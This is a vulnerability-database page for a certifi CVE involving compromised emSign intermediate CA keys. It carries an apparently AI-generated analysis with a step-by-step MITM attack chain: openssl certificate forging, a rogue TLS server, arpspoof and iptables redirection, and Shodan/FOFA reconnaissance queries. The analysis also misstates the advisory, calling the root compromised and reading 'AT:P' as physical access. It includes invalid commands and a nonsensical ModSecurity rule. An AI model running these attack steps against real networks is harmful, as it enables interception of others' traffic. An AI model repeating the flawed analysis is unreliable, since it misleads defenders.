CVE Professor
/
All CVEs
CVE-2026-144304

CVE-2026-144304 — Certifi Python-certifi — CWE-295

CRITICAL CVSS 9.1 Shodan

Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer. Certifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.

Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer. Certifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability type: Improper trust store management (CWE‑295: Improper Certificate Validation).

Root cause:
The certifi Python package ships a bundled collection of trusted root certificates (the certifi store). Between 2019‑03‑09 and 2026‑10‑18 the store mistakenly contained emSign root certificates whose private keys had been compromised and subsequently revoked.

Because the store does not check the revocation status of the bundled roots (the revocation list is static and was never updated for those roots), a TLS client that relies on certifi will:

1. Accept any leaf certificate that chains to one of the compromised emSign roots, even if the intermediate or leaf certificates have been revoked.
2. Treat the chain as valid because the root is present in the trust store and the chain builds correctly, bypassing the usual PKI validation steps (CRL/OCSP checks are never performed for bundled roots).

Missing security control:

  • Revocation checking for bundled roots.

  • Supply‑chain hygiene – the upstream maintainers failed to purge compromised roots from the shipped bundle for more than seven years.
  • CVSS 4.0 vector interpretation

    MetricValueMeaning for this issue
    AV (Attack Vector)N (Network)The attacker can launch the attack remotely, e.g. by positioning a MITM device on the network.
    AC (Attack Complexity)H (High)The attacker must be able to intercept the TLS handshake and present a forged certificate chain (requires MITM capability).
    AT (Attack Type)P (Physical)The CVSS vector uses the “Physical” qualifier, indicating that the attacker must have physical or near‑physical access to the communication path (e.g., compromised Wi‑Fi, compromised router, or on‑premise network tap).
    PR (Privileges Required)N (None)No authentication on the target is required.
    UI (User Interaction)N (None)The victim does not need to click anything; the handshake is automatic.
    VC / VI (Confidentiality / Integrity Impact)H / HSuccessful exploitation results in complete loss of confidentiality (eavesdropping) and complete loss of integrity (tampering).
    VA (Availability Impact)N (None)No direct denial‑of‑service effect.
    SC / SI / SA (Scope)N / N / NThe impact is confined to the vulnerable TLS client; no privilege escalation across trust boundaries.
    E, CR, IR, AR, MAV…X (Not defined)Not applicable / not disclosed.

    The high CVSS score (9.1) is driven by the network‑reachable MITM scenario that completely breaks TLS confidentiality and integrity.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid and can be reproduced on a Linux host with Python 3, openssl, and curl. Where the CVE description does not give a concrete endpoint, the example uses a generic HTTPS service (https://example.com) to illustrate the class of attack.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target application uses the certifi package for TLS verification (common in Python‑based services, e.g., requests, urllib3, pip, conda).- Inspect requirements.txt / Pipfile.lock.<br>- Query the runtime: python -c "import certifi, pkg_resources, sys; print(pkg_resources.get_distribution('certifi').version)".<br>- Look for the presence of certifi.where() in the code.
    1.2Verify the installed version is earlier than 2026.10.18 (the version that removes the compromised roots).Same command as above; compare output.
    1.3Confirm that the bundled store still contains the emSign root.openssl x509 -inform PEM -in "$(python - <<'PY'\nimport certifi, pathlib, sys; print(pathlib.Path(certifi.where()))\nPY")" -noout -textgrep -i "emSign" (or grep for the known Subject DN of the emSign root).

    If steps 1.2‑1.3 succeed, the target is vulnerable.

    2. Exploitation

    Goal: Perform a man‑in‑the‑middle (MITM) attack and convince the victim’s TLS client (using the vulnerable certifi store) that the attacker’s server is the legitimate example.com.

    2.1 Prepare a forged certificate chain

    1. Obtain the compromised emSign root private key – this is theoretically available to the attacker because the root was compromised. (In practice, the attacker would have obtained it from the original breach or from leaked key material.)

    2. Create a malicious leaf certificate for example.com signed by the compromised root (or by a compromised intermediate that chains to the root).

    # 1) Generate a leaf private key
    openssl genrsa -out leaf.key 2048
    
    # 2) Create a CSR for the target hostname
    openssl req -new -key leaf.key -subj "/CN=example.com" -out leaf.csr
    
    # 3) Sign the CSR with the compromised emSign root key (root.key) 
    #    (Assume root.key and root.crt are the compromised materials)
    openssl x509 -req -in leaf.csr -CA root.crt -CAkey root.key \
        -CAcreateserial -days 365 -sha256 -out leaf.crt
    
    # 4) (Optional) Build a full chain file (leaf + intermediate if any)
    cat leaf.crt intermediate.crt > chain.pem
    Note: The exact filenames (root.key, intermediate.crt) are illustrative; the attacker must use the actual compromised material.

    2.2 Deploy a malicious TLS endpoint

    Run a simple HTTPS server that presents the forged chain:

    # Using Python's built‑in HTTPS server (Python 3.10+)
    python -m http.server 8443 --bind 0.0.0.0 \
        --directory /tmp \
        --ssl-version TLSv1_2 \
        --certfile leaf.crt \
        --keyfile leaf.key \
        --ca-certs chain.pem

    (If the built‑in server does not support --ca-certs, use openssl s_server instead.)

    # OpenSSL s_server variant
    openssl s_server -accept 8443 -cert leaf.crt -key leaf.key \
        -CAfile chain.pem -www

    The server now presents a certificate chain that validates against the compromised emSign root present in the victim’s certifi store.

    2.3 Intercept the victim’s traffic

    The attacker must be able to position a network tap or ARP‑poison the victim’s LAN (or compromise a router) so that traffic to example.com:443 is redirected to the malicious server on port 8443.

    Example using arpspoof (Linux):

    # Assume victim IP = 10.0.0.42, gateway = 10.0.0.1
    sudo arpspoof -i eth0 -t 10.0.0.42 10.0.0.1   # poison victim's ARP cache
    sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443

    Now, when the victim initiates an HTTPS request to https://example.com, the TLS handshake will be terminated by the attacker’s server, which presents the forged chain.

    2.4 Verify successful MITM

    From the attacker’s perspective:

    curl -v https://example.com --cacert "$(python - <<'PY'\nimport certifi, pathlib; print(pathlib.Path(certifi.where()))\nPY")"

    If the victim’s client uses the vulnerable certifi store, the handshake will succeed and the attacker will see the HTTP request in the server logs, confirming that the forged certificate was accepted.

    3. Post‑Exploitation

    PhaseAttacker capabilityTypical actions
    Data exfiltrationFull read/write of the TLS‑protected traffic (confidentiality breach).- Capture credentials, session cookies, API tokens.<br>- Record proprietary data (source code, financial records).
    Data tamperingAbility to inject, modify, or drop HTTP payloads (integrity breach).- Inject malicious JavaScript into web pages (drive‑by infection).<br>- Alter API responses to change business logic (e.g., change transaction amounts).
    PersistenceIf the victim service authenticates to downstream services using TLS client certificates, the attacker can replay or modify those calls.- Re‑use captured client‑certificate authentication to impersonate the service to other internal APIs.
    Lateral movementThe attacker now controls the victim’s outbound TLS channel; they can use it as a pivot to reach internal services that only accept traffic from the compromised host.- Tunnel internal commands via HTTPS (e.g., POST /admin/exec).

    Because the vulnerability does not affect availability, the attacker typically remains stealthy, avoiding obvious service disruption.


    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)
    Confidentiality (C)High – All data transmitted over TLS can be read by the attacker.
    Integrity (I)High – The attacker can modify any payload in‑flight without detection.
    Availability (A)None – The attack does not inherently cause downtime.

    Practical consequences

    EnvironmentExample consequence
    Enterprise SaaS clients using Python SDKs (e.g., AWS Boto3, Azure SDK) that rely on certifi for TLS verification.Leakage of API keys, confidential business data, and potential unauthorized API calls.
    CI/CD pipelines that download packages via pip (which uses certifi).An attacker could inject malicious packages into the pipeline, achieving supply‑chain compromise.
    IoT devices running Python‑based agents (e.g., Home Assistant).Remote control of devices, exfiltration of sensor data, or injection of malicious firmware updates.
    Medical or financial software that validates TLS connections with certifi.Violation of HIPAA/GDPR, potential regulatory fines, and loss of customer trust.

    Because the vulnerable store persisted for more than seven years, any system that has not been updated since 2026‑10‑18 remains exposed, potentially for the entire lifespan of the product.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ComponentFixed versionUpgrade command
    certifi (Python package)2026.10.18 (or any later release)pip install --upgrade certifi <br>or, for system‑wide Python installations: python -m pip install --upgrade certifi
    Bundled libraries that embed certifi (e.g., requests, urllib3, conda)Upgrade to a version that depends on certifi ≥ 2026.10.18.pip install --upgrade requests urllib3

    Verification after upgrade

    python - <<'PY'
    import certifi, pathlib, subprocess, sys
    store = pathlib.Path(certifi.where())
    print("certifi version:", subprocess.check_output([sys.executable, "-m", "pip", "show", "certifi"]).decode())
    print("Store path:", store)
    # Ensure emSign root is absent
    import re, ssl
    with open(store, "rb") as f:
        data = f.read()
    if re.search(b"emSign", data, re.I):
        print("⚠️  emSign root still present!")
    else:
        print("✅ emSign root removed.")
    PY

    2. Immediate Work‑arounds (if patch cannot be applied)

    MitigationHow to implement
    Replace certifi store with OS trust storeSet REQUESTS_CA_BUNDLE or SSL_CERT_FILE environment variable to point to the system’s CA bundle (e.g., /etc/ssl/certs/ca-certificates.crt). This bypasses the vulnerable bundled store.
    Pin the expected leaf certificate (certificate pinning)In the client code, load the expected leaf fingerprint and compare it after the TLS handshake: <br>import ssl, hashlib, socket; ctx = ssl.create_default_context(); ctx.check_hostname = True; ctx.verify_mode = ssl.CERT_REQUIRED; ctx.load_verify_locations(cafile=certifi.where()); s = ctx.wrap_socket(socket.socket(), server_hostname="example.com"); s.connect(("example.com", 443)); leaf = s.getpeercert(binary_form=True); if hashlib.sha256(leaf).hexdigest() != "<known‑sha256>": raise Exception("Certificate pinning failure")
    Enforce revocation checking (CRL/OCSP) for all certificates, even for bundled rootsUse a custom ssl.SSLContext with verify_flags = ssl.VERIFY_CRL_CHECK_LEAF and load the appropriate CRL files. Note that this only works if a valid CRL/OCSP responder exists for the compromised root (which it does not, reinforcing the need to remove the root).
    Network‑level TLS inspection (e.g., corporate proxy)Configure the proxy to reject any certificate chain that includes the known emSign root fingerprint (SHA256: <fingerprint>). This can be done with most modern TLS‑terminating proxies (e.g., NGINX ssl_trusted_certificate + ssl_verify_depth + if ($ssl_client_escaped_cert ~* "emSign") { return 403; }).
    Restrict MITM capabilityHarden the network: enable DHCP snooping, dynamic ARP inspection, and port‑security on switches; use encrypted Wi‑Fi (WPA3); enforce certificate pinning for high‑value services.

    3. Detection – Indicators of Compromise

    Log sourceTypical pattern indicating exploitation
    Web server access logs (victim side)GET / … entries with unusual User‑Agent or high latency during TLS handshake (if the server logs TLS handshake failures).
    TLS termination proxies / load balancersSSL handshake failed: certificate verify failed (self‑signed certificate in chain) where the failing certificate’s Subject contains “emSign”.
    Python application logs (if requests debug is enabled)requests.exceptions.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed – followed by a stack trace that shows the offending root’s Subject.
    Network captures (pcap)TLS ClientHello followed by ServerHello where the Certificate message includes a certificate whose Issuer DN matches CN=emSign Root CA.
    System integrity monitoringUnexpected modification of the file returned by certifi.where() (e.g., checksum change).

    Sample detection rule for Suricata (TLS‑certificate‑subject)

    - rule_id: 20261001
      description: "TLS server certificate chain contains compromised emSign root"
      match:
        tls:
          certificate:
            subject:
              contains: "emSign"
      action: alert
      severity: high

    Sample ModSecurity rule (HTTP‑level)

    SecRule RESPONSE_HEADERS:Public-Key-Pins "@contains emSign" \
        "id:20261002,phase:4,log,deny,msg:'TLS handshake used compromised emSign root'"

    ⚠️ Urgency

    FactorAssessment
    CVSS 9.1 (Critical)Indicates a *high* impact with a *low* barrier to exploitation once network positioning is achieved.
    CISA KEV statusNot listed, but the long exposure window (7+ years) makes it a *silent* high‑risk issue.
    Exploit complexityHigh (requires MITM capability), but *MITM* is a common prerequisite for many advanced threat actors (e.g., nation‑state APTs, sophisticated ransomware groups).
    Availability of fixFixed in certifi 2026.10.18, which is already released.
    Potential for data breachDirect confidentiality and integrity breach of any TLS‑protected traffic.

    Patch priority: Urgent – “Critical”.

  • Day 0–1: Identify all Python environments using certifi < 2026.10.18 and schedule an immediate upgrade.
  • Day 1–3: Deploy the upgrade across production, staging, and CI/CD pipelines. Verify removal of the emSign root.
  • Day 3–7: Implement mitigations (OS trust store, pinning) for any legacy services that cannot be patched immediately.
  • Day 7+: Monitor logs for the IoCs listed above and confirm that no TLS handshakes succeed with the compromised root.
Given the network‑wide impact and the fact that many Python‑based services are automatically updated via pip, the remediation window is short. Organizations should treat this as a critical supply‑chain vulnerability and prioritize patching ahead of any scheduled maintenance windows.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="certifi python-certifi"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-295
Affected Products (1)
certifi:python-certifi
References & Advisories (4)
Related CVEs
9.1
CVE-2026-144956
Hoverfly before 1.12.17 contains an improper certificate validation vulnerability in GetHttpClient in core/htt
8.4
CVE-2026-81133
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Certificate
8.2
CVE-2026-145366
### Summary A URI SAN is a context-specific, primitive GeneralName with tag number 6 (identifier octet `0x86`
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
5.9
CVE-2026-52896
On affected platforms running Arista EOS with Streaming Telemetry Agent (TerminAttr) configured with gRPC tunn
7.4
CVE-2026-110481
Improper Certificate Validation vulnerability in Apache Camel Milo component. This issue affects Apache Cam
7.4
CVE-2026-115278
Improper Certificate Validation vulnerability in Apache Camel Vert.x components. This issue affects Apache